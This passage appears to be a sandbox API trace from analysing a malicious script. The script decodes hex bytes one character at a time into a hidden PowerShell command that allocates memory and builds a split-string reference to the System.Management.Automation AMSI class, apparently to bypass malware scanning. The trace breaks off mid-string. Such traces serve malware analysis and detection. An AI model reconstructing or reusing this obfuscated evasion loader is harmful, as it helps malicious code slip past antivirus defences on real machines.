lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.100] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.100] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.100] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.100] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.100] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.100] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.101] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.101] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0072.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0072.101] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.101] VarBstrCat (in: bstrLeft="&H", bstrRight="D2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.101] VarParseNumFromStr (in: strIn="&HD2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.101] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0072.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0072.101] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'t", bstrRight="i", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.101] VarBstrCat (in: bstrLeft="&H", bstrRight="DE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.101] VarParseNumFromStr (in: strIn="&HDE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.102] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Þ") returned 1 [0072.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Þ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Þ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0072.102] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'ti", bstrRight="o", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.102] VarBstrCat (in: bstrLeft="&H", bstrRight="DC", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.102] VarParseNumFromStr (in: strIn="&HDC", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.102] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ü") returned 1 [0072.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0072.102] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tio", bstrRight="n", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.102] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.102] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.102] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0072.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0072.103] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.103] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.103] VarParseNumFromStr (in: strIn="&H82", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.103] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="‚") returned 1 [0072.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="A") returned 1 [0072.103] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.", bstrRight="A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.103] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.103] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.103] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.104] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.104] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.104] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.104] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.104] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.104] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.104] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.104] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.104] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.104] VarBstrCat (in: bstrLeft="&H", bstrRight="DA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.105] VarParseNumFromStr (in: strIn="&HDA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.105] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0072.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0072.105] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'", bstrRight="m", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.105] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.105] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.105] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0072.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0072.105] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'m", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.105] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.105] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.105] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.105] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.106] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.106] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.106] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.106] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.106] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.106] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.106] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.107] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.107] VarBstrCat (in: bstrLeft="&H", bstrRight="D2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.107] VarParseNumFromStr (in: strIn="&HD2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.107] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0072.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0072.107] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'", bstrRight="i", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.107] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.107] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.108] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.108] 